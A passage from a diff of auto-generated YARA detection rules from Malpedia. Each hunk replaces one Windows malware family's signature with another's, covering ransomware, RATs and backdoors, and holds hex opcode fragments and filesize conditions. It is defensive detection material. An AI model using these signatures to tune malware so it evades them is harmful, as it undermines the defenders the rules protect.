filesize < 1187840 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Bolek_Auto : FILE +rule MALPEDIA_Win_Starcruft_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "69ad8acf-074b-529b-acc6-71dc6d683637" + id = "e43c9dba-c687-54c9-a2de-dd0a9a45d60b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bolek" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bolek_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starcruft_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "a52d08446edf10d117ae2bacde4f93e5d2e9e0eaf470758c0d7eff835edf2d23" + logic_hash = "96896309775ea1553e784bf38519d110c5e6ff85ff5070e7ca85592bc9b55bb1" score = 75 quality = 75 tags = "FILE" @@ -124767,32 +124631,32 @@ rule MALPEDIA_Win_Bolek_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f76b10 0fa4ce01 03c9 03c8 8b4340 13f2 f72f } - $sequence_1 = { 8bec 83ec18 53 56 57 33c0 8bfa } - $sequence_2 = { 8b55f8 391401 7416 41 3bce 72f6 33c0 } - $sequence_3 = { 0f84a5000000 8b45f4 8b7028 83c60c 0375e0 e9???????? 8d45e8 } - $sequence_4 = { c606ff 3dff000000 751a 6a05 6a06 5a 32c9 } - $sequence_5 = { ffb42450080000 50 8d84244c060000 50 e8???????? 8d442444 55 } - $sequence_6 = { 899c248c000000 89b42490000000 e8???????? 83c440 85c0 0f85e7fdffff 53 } - $sequence_7 = { ff742444 8d442434 50 e8???????? 6a10 8d44243c 55 } - $sequence_8 = { ff742438 ff742438 56 e8???????? 69ce0d661900 83c40c 8bf8 } - $sequence_9 = { 894dec c745f440000000 894df8 894dfc ff15???????? 8be5 5d } + $sequence_0 = { 83c40c 8b45ec 50 e8???????? 83c404 8b4de8 894dec } + $sequence_1 = { 85c0 7505 83c8ff eb17 6a00 8b55ec } + $sequence_2 = { ff15???????? 8945e4 837de400 740c e8???????? } + $sequence_3 = { 8d4dfc 51 8d95f0f9ffff 52 6a13 8d8538fbffff } + $sequence_4 = { 8955fc 8b45f8 8945f0 eb09 8b4df0 83c102 } + $sequence_5 = { 83c408 83f8ff 7516 6a00 8d95c8fcffff 52 8d85d0fdffff } + $sequence_6 = { 6a36 8b4d08 83c158 51 e8???????? 83c40c 6a40 } + $sequence_7 = { e9???????? 6a00 8b95e4f5ffff 52 ff15???????? 8b4d10 8901 } + $sequence_8 = { 8d95f0feffff 52 e8???????? 83c40c 6804010000 8d85ecfdffff 50 } + $sequence_9 = { 6a06 8d9578fbffff 52 e8???????? 83c410 8d85d0fbffff 50 } condition: - 7 of them and filesize < 892928 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE +rule MALPEDIA_Win_Lolsnif_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c19fad8c-a407-5bf5-acec-08286bdf3f5a" + id = "801276e5-64e7-59d1-a653-8ee4b7f16dc4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rapid_ransom_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lolsnif_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "67800a8541a0930476ccb252960ba42436cf1502df6e201c2920e486423cdc16" + logic_hash = "4100f8ab27f3910e5c0d280cf414b7c267c81147c4a7bc07b3262d87c3731e63" score = 75 quality = 75 tags = "FILE" @@ -124806,37 +124670,32 @@ rule MALPEDIA_Win_Rapid_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 6801000004 6800a40000 ff75f8 } - $sequence_1 = { eb05 803e00 7509 803a00 0f840c010000 } - $sequence_2 = { ff15???????? 8b4c2438 f6c110 7410 68???????? 56 } - $sequence_3 = { 6a00 6a07 6a00 ff75fc ffd7 } - $sequence_4 = { 75f7 ff75fc 51 6801000040 ff750c 53 ff15???????? } - $sequence_5 = { 84c0 0f94c1 33c0 84c9 5f 5e 0f94c0 } - $sequence_6 = { ff15???????? 56 ffd7 8bd0 8bce e8???????? } - $sequence_7 = { 80c261 8857ff 4b 75eb 8b75fc 5b } - $sequence_8 = { a3???????? e8???????? 83c404 b001 5e } - $sequence_9 = { 6a02 6a00 6a03 68000000c0 8d85f8feffff 50 } - $sequence_10 = { 56 ff15???????? 85c0 7448 8b3d???????? } - $sequence_11 = { 8d7601 80becc8c410000 75f4 e8???????? 99 8d4eff } - $sequence_12 = { 83ea01 75f2 8b7dac 8b55b4 33c0 c6043200 } - $sequence_13 = { 8d7f08 8b048dc4724000 ffe0 f7c703000000 7413 } - $sequence_14 = { eb05 1bc0 83c801 8b4df0 85c0 0f84a0feffff } + $sequence_0 = { 7313 57 57 57 57 53 ff75fc } + $sequence_1 = { 5b c20c00 55 8bec 83ec14 817d0c00100000 } + $sequence_2 = { b892e8ffff c3 55 8bec 83ec40 53 56 } + $sequence_3 = { e8???????? 8bf0 3bf3 7439 3bfb 7411 8b4718 } + $sequence_4 = { 33db 53 c744241001000000 bf???????? ffd6 ff7508 57 } + $sequence_5 = { f00fc108 a1???????? 83c040 50 ffd3 a1???????? 56 } + $sequence_6 = { eb06 41 894804 33ff 5b 8bc7 5f } + $sequence_7 = { 3bc6 8945f4 754d 8b4dc0 56 ff35???????? 8bc1 } + $sequence_8 = { ab ab 8d442428 50 8d44241c 50 } + $sequence_9 = { ff7704 e8???????? 3de8000000 7509 834dfcff e9???????? } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 425984 } -rule MALPEDIA_Win_Danbot_Auto : FILE +rule MALPEDIA_Win_Diztakun_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "20935e71-f906-54b9-9bae-c4a4caef1aba" + id = "438551c7-604a-5ad2-954a-f3ff63f3cb31" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danbot_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diztakun" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diztakun_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "acd94691ea40c5baca6316ac758413a2314f96bf1ccb4eb7ca1bd69319a91f06" + logic_hash = "fc2cd18a0fc5853e5904a0ff7267816d8fa89853fb1e9c46e2210edfcdfdf3de" score = 75 quality = 75 tags = "FILE" @@ -124850,32 +124709,32 @@ rule MALPEDIA_Win_Danbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8965f0 4c896df8 448865e0 488d5580 488d4d00 e8???????? } - $sequence_1 = { 4585c0 0f840e020000 89bb88000000 4183f803 0f82b6000000 8b8394000000 85c0 } - $sequence_2 = { 55 56 57 4881ec90000000 48c7442420feffffff 49895b18 488b05???????? } - $sequence_3 = { 483bd7 720e 48ffc2 4d8bc6 498b0f e8???????? } - $sequence_4 = { 488bda 33c0 488b5110 4983c8ff 89442420 48894310 48c743180f000000 } - $sequence_5 = { ffd3 99 33c2 2bc2 89442430 448be0 4c89642450 } - $sequence_6 = { eb03 488bd9 8b4018 25c0010000 410f100424 beffff0000 83f840 } - $sequence_7 = { 488bce ffd3 90 488b742478 488b06 488b5838 488bcb } - $sequence_8 = { 48897310 4c897318 408833 0f1007 0f1103 0f104f10 0f114b10 } - $sequence_9 = { 498bcd e8???????? 4533d2 84c0 741d 418adc 488bcf } + $sequence_0 = { 7f05 b8???????? e8???????? 8b4c2444 8b5c2428 8b6c2430 } + $sequence_1 = { 53 e8???????? cc 5a 58 } + $sequence_2 = { 7d0c 57 8bcb e8???????? 8b542418 8b0b 3bf5 } + $sequence_3 = { e9???????? 8b451c 83c0c7 56 83f80b 0f87c4000000 ff2485ffff4000 } + $sequence_4 = { 7574 8b4008 3bc6 746d 663930 7468 8b5808 } + $sequence_5 = { 50 8d84241c020000 64a300000000 8b84242c020000 6a00 6a00 8d4c2420 } + $sequence_6 = { ff15???????? 83c6f0 56 e8???????? 8b7c2418 83c010 8907 } + $sequence_7 = { 89642418 8bfc 50 e8???????? 83c010 83c404 8907 } + $sequence_8 = { 8b8254010000 83c404 8bcb ffd0 } + $sequence_9 = { 8bd9 895c2414 c744241000000000 e8???????? 33c9 85c0 0f95c1 } condition: - 7 of them and filesize < 1492992 + 7 of them and filesize < 688128 } -rule MALPEDIA_Win_Mrdec_Auto : FILE +rule MALPEDIA_Win_Kardonloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5cd525b0-3fcd-5de1-aa88-bd5dca592c29" + id = "57227c50-5901-516a-b863-0f33adb6b519" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mrdec" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mrdec_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kardonloader_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "c22120d79fe39ae9d27a4d21c75a9bbd9a26aee0b664e8fa2f821d0411c6aa0d" + logic_hash = "bf2ff4ff4bbba7fc1d200f179fb3f5bc11f84479969b4348f603834a274497e5" score = 75 quality = 75 tags = "FILE" @@ -124889,32 +124748,32 @@ rule MALPEDIA_Win_Mrdec_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c64446fa00 57 56 e8???????? 68???????? 56 e8???????? } - $sequence_1 = { 6a00 8d45cc 50 68ef000000 68???????? } - $sequence_2 = { 50 ff75f0 6a00 6a00 6a00 ff75e8 e8???????? } - $sequence_3 = { 7532 68dc050000 ff75dc 68???????? e8???????? } - $sequence_4 = { 6a00 6814010000 68???????? ff75d8 e8???????? 8d3550514000 } - $sequence_5 = { 8bec ff7508 6a40 e8???????? 0bc0 750c 68c8000000 } - $sequence_6 = { 81c700020000 68???????? 57 e8???????? 68???????? 57 e8???????? } - $sequence_7 = { 59 51 80c141 884808 ff05???????? 6a00 6a00 } - $sequence_8 = { 6a02 e8???????? 0bc0 0f8530010000 c745f000400000 ff75f0 } - $sequence_9 = { 6a00 6a00 e8???????? ff75dc e8???????? } + $sequence_0 = { c0e904 8a8018314000 c0e002 0ac8 880c32 8bc2 } + $sequence_1 = { 663bc8 751c 8b4208 8bf0 c1ee10 6683f801 6a06 } + $sequence_2 = { 89450c 786a 0fb6443b01 8a9018314000 0fb6443b02 8a9818314000 } + $sequence_3 = { 68???????? e8???????? 8bf0 85f6 0f844a010000 } + $sequence_4 = { 7819 53 6800040000 8d8550f6ffff } + $sequence_5 = { 58 0fb7f1 663bc8 751c 8b4208 8bf0 } + $sequence_6 = { 84c0 ba???????? b9???????? 8d857cffffff 0f44ca } + $sequence_7 = { 51 8d8578fcffff 50 68???????? } + $sequence_8 = { 8bec 81ec1c020000 56 8b35???????? 57 6810270000 ffd6 } + $sequence_9 = { 83c40c 8bcf 5f c6043100 8bc6 5e } condition: - 7 of them and filesize < 44864 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Icefog_Auto : FILE +rule MALPEDIA_Win_Norobot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5a2327d1-90cc-5721-943f-064b1c43e2e0" + id = "81ee252e-ea83-5b53-acab-35755b04ba71" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icefog_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.norobot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.norobot_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "ccfebce12d112e2d237d6de3048b8cc676f213fd05f617884709a0f4f9ea859a" + logic_hash = "cfe0160692facfa8b89f040016e3df094319abbfbfe52416eb1da1d5fe06ee4b" score = 75 quality = 75 tags = "FILE" @@ -124928,32 +124787,32 @@ rule MALPEDIA_Win_Icefog_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895de0 c745e400ff0000 e9???????? 8b5e04 c1e310 895de0 c745e40000ff00 } - $sequence_1 = { e8???????? 8b759c 53 c60300 e8???????? 8b45b4 83c404 } - $sequence_2 = { 8b4d0c 50 51 e8???????? 83c408 8bf0 5e } - $sequence_3 = { c6470300 8b7d08 75a0 8b5d0c 8b45f4 015f0c 5f } - $sequence_4 = { b807000000 5b 8be5 5d c3 8945fc 394604 } - $sequence_5 = { 8b4dfc 50 51 e8???????? 56 8947f6 e8???????? } - $sequence_6 = { c3 56 57 e8???????? 83c408 894590 85c0 } - $sequence_7 = { dd8570feffff dec3 d9ca dd9560feffff d8d1 dfe0 ddd9 } - $sequence_8 = { a1???????? 891490 8b0d???????? 42 3bd1 7ced a1???????? } - $sequence_9 = { 8b4508 85c0 7416 56 8b7010 50 e8???????? } + $sequence_0 = { c6400800 488b442408 c3 48894c2408 4883ec28 488b442430 488bc8 } + $sequence_1 = { 4883c420 5b c3 4883611000 488d0520b20100 48894108 488d0505b20100 } + $sequence_2 = { 4d3bc4 0f84ba000000 8b7500 498b9cf620c60300 90 4885db 740e } + $sequence_3 = { 4883ec68 488b05???????? 4833c4 4889442450 4883bc248000000000 7f07 } + $sequence_4 = { 4c8d4c2428 4c8d442430 488bd0 488b4c2450 e8???????? 488b442450 } + $sequence_5 = { 4883bc248800000000 0f8482000000 33c0 83f801 } + $sequence_6 = { 4c8d0576750000 41f644400201 7405 0fb6c9 eb25 0fb6d1 } + $sequence_7 = { 7536 488d15db130300 488b8c24c0100000 e8???????? 8b442440 83c801 89442440 } + $sequence_8 = { 4c8d057b1a0100 488d157c1a0100 b912000000 e8???????? 4885c0 741d 49ba7073d836192e55f3 } + $sequence_9 = { e8???????? 0fb6c0 85c0 7448 48837c245000 7507 837c245801 } condition: - 7 of them and filesize < 1187840 + 7 of them and filesize < 545792 } -rule MALPEDIA_Win_Htprat_Auto : FILE +rule MALPEDIA_Win_Systembc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e0f24e75-a1ab-500e-b0d4-d1209cde7f99" + id = "9f869723-6075-5b32-a402-475b08d3e463" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htprat_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.systembc_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "e91a3a65365c65376e7831a92808c9a23ec534df8de8b5e0e4180f6424135b1f" + logic_hash = "9ee9f5ea5ece65bf2a7fd4bf4633a524cd0ca65ce3683cb8ae8b66a7bc9315ba" score = 75 quality = 75 tags = "FILE" @@ -124967,32 +124826,38 @@ rule MALPEDIA_Win_Htprat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 8db794010000 c645fc0c e8???????? 53 } - $sequence_1 = { 743c 33c0 57 50 668985d8f9ffff } - $sequence_2 = { 8bcb e8???????? 57 57 89b398000000 } - $sequence_3 = { 57 57 57 ffb574efffff } - $sequence_4 = { 832700 8d7708 c6470400 e8???????? 8365fc00 bb???????? 53 } - $sequence_5 = { e9???????? 6a22 e9???????? 6a0c e9???????? 83e96e 7479 } - $sequence_6 = { 8d742430 e8???????? 8bd6 8d4c2418 c68424e800000009 } - $sequence_7 = { 83671000 c747140f000000 c60700 837de810 8b45d4 895d80 } - $sequence_8 = { 8d442468 ff742478 50 8d8424a8000000 50 e8???????? 83c40c } - $sequence_9 = { 8d741eff 8d5801 56 57 } + $sequence_0 = { b000 ae 75fd 8a57fe } + $sequence_1 = { 8b7d0c 8b4d10 f3a4 5e } + $sequence_2 = { 33c0 ab 837d0c00 7403 ff47fc } + $sequence_3 = { e8???????? 8d5804 6a18 e8???????? 83c061 aa } + $sequence_4 = { 57 56 ff7508 e8???????? 8bd0 } + $sequence_5 = { 66837aff00 7502 eb2e 837d0cff 7518 837d1000 } + $sequence_6 = { c7049e00000000 b800000000 5e 5f 5b } + $sequence_7 = { 8b4514 ab 8b4518 ab b801000000 } + $sequence_8 = { 6a01 6a00 8b85bcfbffff 8b08 8b5118 50 } + $sequence_9 = { c68573ffffff05 c68574ffffff01 c68575ffffff00 c68576ffffff01 48c78510ffffff01000000 } + $sequence_10 = { 4883c420 66c7474e0100 c6475101 c6477b00 4883ec40 } + $sequence_11 = { 0f858e010000 4883ec20 48c7c100000000 48c7c200000100 } + $sequence_12 = { 49c7c0faff0000 49c7c100000000 ff15???????? 4883c420 } + $sequence_13 = { e8???????? 4883c420 4883ec20 488d8e88010000 488d55b0 } + $sequence_14 = { 4c8d474e 49c7c132000000 e8???????? 4883c420 488b4598 4883c01c 4883ec20 } + $sequence_15 = { 488b8d48f9ffff 498d1438 4c8bc0 49c7c100000000 } condition: - 7 of them and filesize < 278528 + 7 of them and filesize < 75776 } -rule MALPEDIA_Win_Nabucur_Auto : FILE +rule MALPEDIA_Win_Combos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9022825e-08e1-5228-a8ab-7502f1d2e737" + id = "cc69e396-00ed-59a2-ba11-780fc1f2665b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nabucur_auto.yar#L1-L155" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.combos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.combos_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "1073a8071d9c420307c019b8193b4c07d15bc5ab7630e60f5042626f0d12ed0f" + logic_hash = "197be11859075969cf043a035f09c4b79bbdaf0b1f0ee080745a9acd79282960" score = 75 quality = 75 tags = "FILE" @@ -125006,40 +124871,34 @@ rule MALPEDIA_Win_Nabucur_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48 894500 85c0 7fee } - $sequence_1 = { 48 8944241c 85c0 7fd1 } - $sequence_2 = { 48 83f801 89442418 0f8f15ffffff } - $sequence_3 = { 48 83e908 85c0 75f0 57 } - $sequence_4 = { 48 8906 8d442410 50 } - $sequence_5 = { 009eaa030000 0fb686aa030000 57 83f80a 0f876d010000 } - $sequence_6 = { 33ff 397c242c 7e61 8b6c242c 8b03 8d4c0001 81f900020000 } - $sequence_7 = { 48 89442414 85c0 0f8f68ffffff } - $sequence_8 = { 89728e 5f 5c ab } - $sequence_9 = { e9???????? ffd6 e9???????? 5e e9???????? 68ad009a0c } - $sequence_10 = { ba0eb4d3fc 83c604 eb0c 83f901 } - $sequence_11 = { 8bec 68???????? e8???????? 813d????????1d932600 } - $sequence_12 = { e022 0884df221d84c2 221b 84dd 223c84 } - $sequence_13 = { b4d6 98 db3e d35f9e c25a1a } - $sequence_14 = { af 6abb 8ed5 3155fc } - $sequence_15 = { 91 039109861780 60 96 } + $sequence_0 = { f3ab c1e604 aa 8d9e50120110 803b00 8bcb } + $sequence_1 = { 899ddcfeffff 899dd4feffff 895dfc 8b4508 } + $sequence_2 = { e8???????? 8b35???????? 83c408 6a0a ffd6 a1???????? } + $sequence_3 = { 81ec00020000 57 b93f000000 33c0 8d7c2405 } + $sequence_4 = { 0bc5 33c1 8b848600ffffff 0bc7 5f 5e } + $sequence_5 = { 6800010000 51 57 ffd6 8d542408 } + $sequence_6 = { 33ff 89bdccfeffff 89bdc8feffff c785a0feffff24000000 c785a4feffff03000100 c785a8feffff08000000 8d85c8feffff } + $sequence_7 = { 6a00 56 8b74243c 56 ffd3 83c428 } + $sequence_8 = { 80c120 888800190110 eb1f 83f861 } + $sequence_9 = { 33c0 89442418 8944241c 85db } condition: - 7 of them and filesize < 1949696 + 7 of them and filesize < 163840 } -rule MALPEDIA_Win_Flawedammyy_Auto : FILE +rule MALPEDIA_Win_Backspace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e3c09ec0-5af5-5a07-8c2f-fc3c122b7323" + id = "fb0b0e7f-6932-5f0b-957b-77772fb8dfd5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedammyy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flawedammyy_auto.yar#L1-L303" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backspace_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "4b49ab8817339f4687e717d3eeefa35a990a787f8625678c6db9867d20e78208" + logic_hash = "8089ff963941257a60e744d7204434da2ea9ab918c2bf4c32b875cf83b55a865" score = 75 - quality = 33 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -125051,54 +124910,32 @@ rule MALPEDIA_Win_Flawedammyy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0022 8a4200 828a4200bb8a42 00ff } - $sequence_1 = { 004bbf 42 0062bf 42 } - $sequence_2 = { ffd3 f30f7e45ec 8b4df4 83ec10 8b11 } - $sequence_3 = { 68???????? 8d4df0 e8???????? 8b00 85c0 7404 8b10 } - $sequence_4 = { 8d8da0f6ffff 6a00 6a23 51 6a00 ffd0 8b35???????? } - $sequence_5 = { 0062bf 42 0079bf 42 } - $sequence_6 = { 68f1cbf7ae 6a01 e8???????? 83c408 } - $sequence_7 = { 002a e342 0039 e342 } - $sequence_8 = { ff5108 8b45fc 50 8b08 ff5108 8b45e4 } - $sequence_9 = { 59 8b7d08 833cfde897410000 755b } - $sequence_10 = { 0039 e342 0048e3 42 } - $sequence_11 = { 0000 0404 0404 0404 0401 } - $sequence_12 = { 83ec10 660fd600 f30f7e45ac 660fd64008 f30f7e8578ffffff 8bc4 } - $sequence_13 = { c78508ffffff44000000 66898538ffffff e8???????? 83c404 85c0 7511 68???????? } - $sequence_14 = { 00b3854200e5 854200 37 864200 } - $sequence_15 = { 0018 874200 58 874200 } - $sequence_16 = { 7e09 8a0e 880a 4a 4e 48 75f7 } - $sequence_17 = { ff75ac 8b3d???????? ffd7 ff75a8 } - $sequence_18 = { 5e 5b c3 55 8bec 81ec5c040000 } - $sequence_19 = { e9???????? 33c0 8b7df4 8b0c855c303400 c1e705 } - $sequence_20 = { 53 ff75dc 6813100000 ff35???????? ffd6 } - $sequence_21 = { ff15???????? eb08 6a64 ff15???????? 53 ff75a8 ff15???????? } - $sequence_22 = { eb0e 8b14957c303400 49 0fafd1 0155fc } - $sequence_23 = { 7426 8b483c ba???????? 03c8 50 66c741160e01 66c7415c0300 } - $sequence_24 = { 8b0c855c303400 c1e705 33d2 03fe } - $sequence_25 = { 0f872affffff 0fb6805a213400 ff2485f6203400 8b8614080000 3b45f4 7e03 8945f4 } - $sequence_26 = { 7516 68???????? e8???????? 53 ff15???????? e9???????? } - $sequence_27 = { 56 8a0a 80f930 7569 } - $sequence_28 = { c745e8ff000000 8b3c857c303400 c745ecffff0000 0faff9 83f801 c745f0ffffff00 741f } - $sequence_29 = { 8b4d08 8a0408 a2???????? eb07 c605????????00 c705????????4c403400 ff7508 } - $sequence_30 = { 7518 8b46f8 8b04855c303400 c1e002 50 6a40 } - $sequence_31 = { 83f907 0f8781000000 ff248dfd243400 881f eb76 ff30 eb63 } + $sequence_0 = { 8d8578fdffff 56 50 89b579fdffff e8???????? } + $sequence_1 = { 90 745f 90 13c9 90 eb20 } + $sequence_2 = { 68???????? 50 ff15???????? 6a0a 58 } + $sequence_3 = { 6a00 68???????? 68???????? 6a50 56 e8???????? 83c420 } + $sequence_4 = { 7e1a 8b4c240c 8b442404 56 2bc1 8bf2 } + $sequence_5 = { f7f9 55 8b35???????? 8bd8 a1???????? 2b05???????? 0fafc3 } + $sequence_6 = { 66ab aa 8d8580fdffff 6800020000 50 53 } + $sequence_7 = { a1???????? 57 40 50 ff15???????? 85c0 0f8fa3000000 } + $sequence_8 = { c3 55 8bec b808200000 e8???????? 53 56 } + $sequence_9 = { 57 50 ffd6 83c418 85db } condition: - 7 of them and filesize < 1350656 + 7 of them and filesize < 131072 } -rule MALPEDIA_Win_Buzus_Auto : FILE +rule MALPEDIA_Win_Madmax_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "51e8e3ea-5fd9-5a65-8632-fc964a25884b" + id = "211dedfc-7c78-54d2-bc9c-659fc1684566" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buzus_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.madmax" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.madmax_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "45f59120d6ee3fd13d7fe4ef65dc14248ca6854e32422138403891c6247259ef" + logic_hash = "cf6b2a7b533fb3f99bc15493e8a8779b3f938c747aabda5388a89eac12fccb62" score = 75 quality = 75 tags = "FILE" @@ -125112,32 +124949,32 @@ rule MALPEDIA_Win_Buzus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d85d8faffff 50 ffd6 6804010000 8d85ccfdffff ff75a0 50 } - $sequence_1 = { 4e 46 897508 ebbd 803e2a 750b 83f801 } - $sequence_2 = { 59 7413 ff751c 68???????? ff36 56 e8???????? } - $sequence_3 = { 891d???????? 68???????? ffd5 85c0 740a c705????????01000000 } - $sequence_4 = { b8???????? ba???????? 89858cfcffff 8985a0fcffff b8???????? 57 c785fcfbffffc8c94000 } - $sequence_5 = { 8b742410 33db 33ed 3bf3 7e58 } - $sequence_6 = { 53 8d5904 57 6a00 ffd6 59 } - $sequence_7 = { c78574feffffa8cf4000 c78578feffff9ccf4000 c7857cfeffff90cf4000 c78580feffff84cf4000 c78584feffff54cf4000 c78588feffff44cf4000 c7858cfeffff2ccf4000 } - $sequence_8 = { 44 1573d2446b 68ded17fda ca426b 68dddb1ffb 06 9f } - $sequence_9 = { 5f c9 c3 e8???????? 68a5040000 ff15???????? ebee } + $sequence_0 = { f605????????5a 0f85ea000000 95 8883424ceb3e 38af847bb313 8320aa d590 } + $sequence_1 = { fa 768b 872a fd 2a4f0e e8???????? b3df } + $sequence_2 = { af 2f ac 7cd6 45 98 92 } + $sequence_3 = { bf45f19eb2 ac a5 d6 34e2 1117 4c } + $sequence_4 = { e6d1 f5 9f 45 7b78 39770f d0de } + $sequence_5 = { b4bf 49 95 14c0 393f d8d3 fc } + $sequence_6 = { 7135 fd 9e 9d 50 50 9c } + $sequence_7 = { c9 09f8 96 67a4 61 52 636e85 } + $sequence_8 = { 9d 53 6a03 e8???????? 83c40c 9c f605????????e8 } + $sequence_9 = { be492ea060 c14434e19e 46 2f d3f4 fa 6be92a } condition: - 7 of them and filesize < 679936 + 7 of them and filesize < 3227648 } -rule MALPEDIA_Win_Mqsttang_Auto : FILE +rule MALPEDIA_Win_Floxif_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0fcd67af-429a-5d69-a3b0-3220fad637de" + id = "ffd7b18b-df79-5e10-a446-739ad37f5cd1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mqsttang_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.floxif" + source_url = 